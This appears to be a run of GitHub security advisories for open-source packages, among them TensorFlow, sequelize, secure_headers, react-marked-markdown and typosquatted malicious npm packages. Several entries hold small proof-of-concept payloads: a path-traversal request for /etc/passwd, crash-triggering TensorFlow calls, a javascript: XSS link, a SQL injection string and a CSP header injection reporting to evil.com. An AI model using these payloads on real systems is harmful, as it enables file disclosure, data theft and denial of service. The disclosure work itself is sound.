Affected versions of `dgard8.lab6` resolve relative file paths, resulting in a directory traversal vulnerability. A malicious actor can use this vulnerability to access files outside of the intended directory root, which may result in the disclosure of private files on the vulnerable system.

Example request:
```
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:foo
```


## Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
Vulnerability: GHSA-62gx-355r-9fhg
Summary: Session operations in eager mode lead to null pointer dereferences
Aliases: CVE-2021-29518
Severity: LOW
CVSS score: 2.5
CWE: CWE-476
Published: 2021-05-21T14:21:05Z

### Impact
In eager mode (default in TF 2.0 and later), session operations are invalid. However, users could still call the raw ops associated with them and trigger a null pointer dereference:

```python
import tensorflow as tf
tf.raw_ops.GetSessionTensor(handle=['\x12\x1a\x07'],dtype=4)
```
```python
import tensorflow as tf
tf.raw_ops.DeleteSessionTensor(handle=['\x12\x1a\x07'])
``` 

The [implementation](https://github.com/tensorflow/tensorflow/blob/eebb96c2830d48597d055d247c0e9aebaea94cd5/tensorflow/core/kernels/session_ops.cc#L104) dereferences the session state pointer without checking if it is valid:
  
```cc
  OP_REQUIRES_OK(ctx, ctx->session_state()->GetTensor(name, &val));
```

Thus, in eager mode, `ctx->session_state()` is nullptr and the call of the member function is undefined behavior.

### Patches
We have patched the issue in GitHub commit [ff70c47a396ef1e3cb73c90513da4f5cb71bebba](https://github.com/tensorflow/tensorflow/commit/ff70c47a396ef1e3cb73c90513da4f5cb71bebba).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by members of the Aivul Team from Qihoo 360.
Vulnerability: GHSA-8xxm-h73r-ghfj
Summary: Validation bypass in frourio
Aliases: CVE-2022-23623
Severity: HIGH
CVSS score: 8.1
CWE: CWE-20
Published: 2022-02-07T22:37:45Z

## 日本語

### 影響
v0.26.0以前のfrourioを使用している、かつvalidators/を利用している場合、ネストされたバリデータがリクエストのボディーとクエリに対して正しく働かないケースがあります。また、リクエストに対してバリデーションが効かなくなる入力があります。

### パッチ
frourioをv0.26.0かそれ以降のバージョンにアップデートをお願いします。frourio を使用したプロジェクトには `class-transformer` と `reflect-metadata` の依存への追加も必要となります。

### ワークアラウンド
controller側で自分でclass-transformerを使用してチェックする、vaildatorを使わない、など。

### さらなる情報

このセキュリティ勧告に関する質問やコメントについては、以下の方法でお問い合わせいただけます。
* [frourio](https://github.com/frouriojs/frourio)にIssueを開く。

## English

### Impact
Frourio users who uses frourio version prior to v0.26.0 and integration with class-validator through `validators/` folder. Validators does not work properly for request bodies and queries in specific situations. Addtionally, some kind of input is not validated. (false positives)

### Patches
Please update your frourio to v0.26.0 or later. You also need to install `class-transformer` and `reflect-metadata` to your project.

### Workarounds
Validate objects from request with class-transformer in controllers by yourself, or prevent using validators.

### For more information
If you have any questions or comments about this advisory:
* Open an issue in [frourio](https://github.com/frouriojs/frourio)
Vulnerability: GHSA-5993-wwpg-m92c
Summary: Improper Authentication in Apache Ozone
Aliases: CVE-2021-39236
Severity: HIGH
CVSS score: 8.8
CWE: CWE-287
Published: 2021-11-23T17:56:45Z

In Apache Ozone before 1.2.0, Authenticated users with valid Ozone S3 credentials can create specific OM requests, impersonating any other user.
Vulnerability: GHSA-7xvg-m3vx-2hhv
Summary: Downloads Resources over HTTP in webrtc-native
Aliases: CVE-2016-10600
Severity: HIGH
CVSS score: 0
CWE: CWE-311
Published: 2019-02-18T23:50:26Z

Affected versions of `webrtc-native` insecurely download an executable over an unencrypted HTTP connection. 

In scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `webrtc-native`.


## Recommendation

No direct patch is currently available for this vulnerability. 

However, if the native components of `webrtc-native` are built from source, this avoids download the precompiled binary, therefore mitigating the insecure download. 

The package author has provided instructions for building from source [here](https://github.com/vmolsa/webrtc-native/wiki/Getting-started#building-from-source).
Vulnerability: GHSA-f2jw-pr2c-9x96
Summary: Code injection in @rkesters/gnuplot
Aliases: CVE-2021-29369
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-77, CWE-78
Published: 2022-02-10T23:41:49Z

@rkesters/gnuplot is an easy to use node module to draw charts using gnuplot and ps2pdf. The gnuplot package prior to version 0.1.0 for Node.js allows code execution via shell metacharacters in Gnuplot commands.
Vulnerability: GHSA-w978-rmpf-qmwg
Summary: Limited header injection when using dynamic overrides with user input in RubyGems secure_headers
Aliases: CVE-2020-5216
Severity: MODERATE
CVSS score: 4.4
CWE: CWE-113
Published: 2020-01-23T02:27:53Z

### Impact

If user-supplied input was passed into append/override_content_security_policy_directives, a newline could be injected leading to limited header injection.

Upon seeing a newline in the header, rails will silently create a new `Content-Security-Policy` header with the remaining value of the original string. It will continue to create new headers for each newline.

e.g.

```ruby
override_content_security_directives(script_src: ['mycdn.com', "\ninjected\n"])` 
```

would result in 

```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: injected
Content-Security-Policy: rest-of-the-header
```

CSP supports multiple headers and all policies must be satisfied for execution to occur, but a malicious value that reports the current page is fairly trivial:

```ruby
override_content_security_directives(script_src: ["mycdn.com", "\ndefault-src 'none'; report-uri evil.com"]) 
```
```
Content-Security-Policy: ... script-src: mycdn.com
Content-Security-Policy: default-src 'none'; report-uri evil.com
Content-Security-Policy: rest-of-the-header
```

### Patches

This has been fixed in 6.3.0, 5.2.0, and 3.9.0

### Workarounds

```ruby
override_content_security_policy_directives(:frame_src, [user_input.gsub("\n", " ")])
```

### References

https://github.com/twitter/secure_headers/security/advisories/GHSA-xq52-rv6w-397c
[The effect of multiple policies](https://www.w3.org/TR/CSP3/#multiple-policies)

### For more information

If you have any questions or comments about this advisory:
* Open an issue in [this repo](https://github.com/twitter/secure_headers/security/advisories/new)
* DM us at @ndm on twitter
Vulnerability: GHSA-m7qm-r2r5-f77q
Summary: Cross-Site Scripting in react-marked-markdown
Severity: HIGH
CVSS score: 0
CWE: CWE-79
Published: 2020-09-01T20:43:48Z

All versions of `react-marked-markdown` are vulnerable to cross-site scripting (XSS) via `href` attributes. This is exploitable if user is provided to `react-marked-markdown`

Proof of concept:

```
import React from 'react'
import ReactDOM from 'react-dom'
import { MarkdownPreview } from 'react-marked-markdown'

ReactDOM.render(
<MarkdownPreview
markedOptions={{ sanitize: true }}
value={'[XSS](javascript: alert`1`)'}
/>,
document.getElementById('root')
)
```


## Recommendation

No fix is currently available for this vulnerability. It is our recommendation to not install or use this module at this time if you allow user input into href values.
Vulnerability: GHSA-7xf9-74cp-8hx3
Summary: Malicious Package in js-cha3
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-506
Published: 2020-09-03T22:59:21Z

Version 0.8.0 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.


## Recommendation

Remove the package from your environment. Ensure no Ethereum funds were compromised.
Vulnerability: GHSA-hpmr-g4pq-jhgp
Summary: Denial of service in chrono-node
Aliases: CVE-2021-23371
Severity: HIGH
CVSS score: 7.5
CWE: CWE-400
Published: 2021-05-06T15:58:05Z

This affects the package chrono-node before 2.2.4. It hangs on a date-like string with lots of embedded spaces.
Vulnerability: GHSA-h3qr-rq2j-74w4
Summary: HTTP Request Smuggling in hyper
Aliases: CVE-2020-35863
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-444
Published: 2021-08-25T20:46:08Z

An issue was discovered in the hyper crate before 0.12.34 for Rust. HTTP request smuggling can occur. Remote code execution can occur in certain situations with an HTTP server on the loopback interface.
Vulnerability: GHSA-393f-2jr3-cp69
Summary: CHECK-fail in DrawBoundingBoxes
Aliases: CVE-2021-29533
Severity: LOW
CVSS score: 2.5
CWE: CWE-754
Published: 2021-05-21T14:22:21Z

### Impact
An attacker can trigger a denial of service via a `CHECK` failure by passing an empty image to `tf.raw_ops.DrawBoundingBoxes`:

```python
import tensorflow as tf

images = tf.fill([53, 0, 48, 1], 0.)
boxes = tf.fill([53, 31, 4], 0.)
boxes = tf.Variable(boxes)
boxes[0, 0, 0].assign(3.90621)
tf.raw_ops.DrawBoundingBoxes(images=images, boxes=boxes)
```

This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/ea34a18dc3f5c8d80a40ccca1404f343b5d55f91/tensorflow/core/kernels/image/draw_bounding_box_op.cc#L148-L165) uses `CHECK_*` assertions instead of `OP_REQUIRES` to validate user controlled inputs. Whereas `OP_REQUIRES` allows returning an error condition back to the user, the `CHECK_*` macros result in a crash if the condition is false, similar to `assert`.

```cc
const int64 max_box_row_clamp = std::min<int64>(max_box_row, height - 1);
... 
CHECK_GE(max_box_row_clamp, 0);
``` 
    
In this case, `height` is 0 from the `images` input. This results in `max_box_row_clamp` being negative and the assertion being falsified, followed by aborting program execution.
    
### Patches
We have patched the issue in GitHub commit [b432a38fe0e1b4b904a6c222cbce794c39703e87](https://github.com/tensorflow/tensorflow/commit/b432a38fe0e1b4b904a6c222cbce794c39703e87).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Vulnerability: GHSA-q656-g2x3-8cgh
Summary: Kylin can receive user input and load any class through Class.forName(...).
Aliases: CVE-2021-31522
Severity: MODERATE
CVSS score: 0
CWE: CWE-470
Published: 2022-01-08T00:43:01Z

Kylin can receive user input and load any class through Class.forName(...). This issue affects Apache Kylin 2 version 2.6.6 and prior versions; Apache Kylin 3 version 3.1.2 and prior versions; Apache Kylin 4 version 4.0.0 and prior versions.
Vulnerability: GHSA-m9jw-237r-gvfv
Summary: SQL Injection in sequelize
Aliases: CVE-2019-10752
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-89
Published: 2019-10-25T19:43:16Z

Affected versions of `sequelize` are vulnerable to SQL Injection. The function `sequelize.json()` incorrectly formatted sub paths for JSON queries, which allows attackers to inject SQL statements and execute arbitrary SQL queries if user input is passed to the query.  Exploitation example:  
```return User.findAll({
  where: this.sequelize.json("data.id')) AS DECIMAL) = 1 DELETE YOLO INJECTIONS; -- ", 1)
});```


## Recommendation

If you are using `sequelize` 5.x, upgrade to version 5.15.1 or later.
If you are using `sequelize` 4.x, upgrade to version 4.44.3 or later.
Vulnerability: GHSA-v362-2895-h9r2
Summary: Use After Free in lru
Aliases: CVE-2021-45720
Severity: HIGH
CVSS score: 7.5
CWE: CWE-416
Published: 2022-01-07T22:37:01Z

An issue was discovered in the lru crate before 0.7.1 for Rust. The iterators have a use-after-free, as demonstrated by an access after a pop operation.
Vulnerability: GHSA-4xgp-xrg3-c73w
Summary: Malicious Package in commqnder
Severity: CRITICAL
CVSS score: 9.8
CWE: CWE-506
Published: 2020-09-11T21:10:29Z

All versions of `commqnder` contain malicious code . The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. Upon require the package attempts to start a cryptocurrency miner using coin-hive.


## Recommendation

Remove the package from your environment and verify whether your system is running the cryptocurrency miner.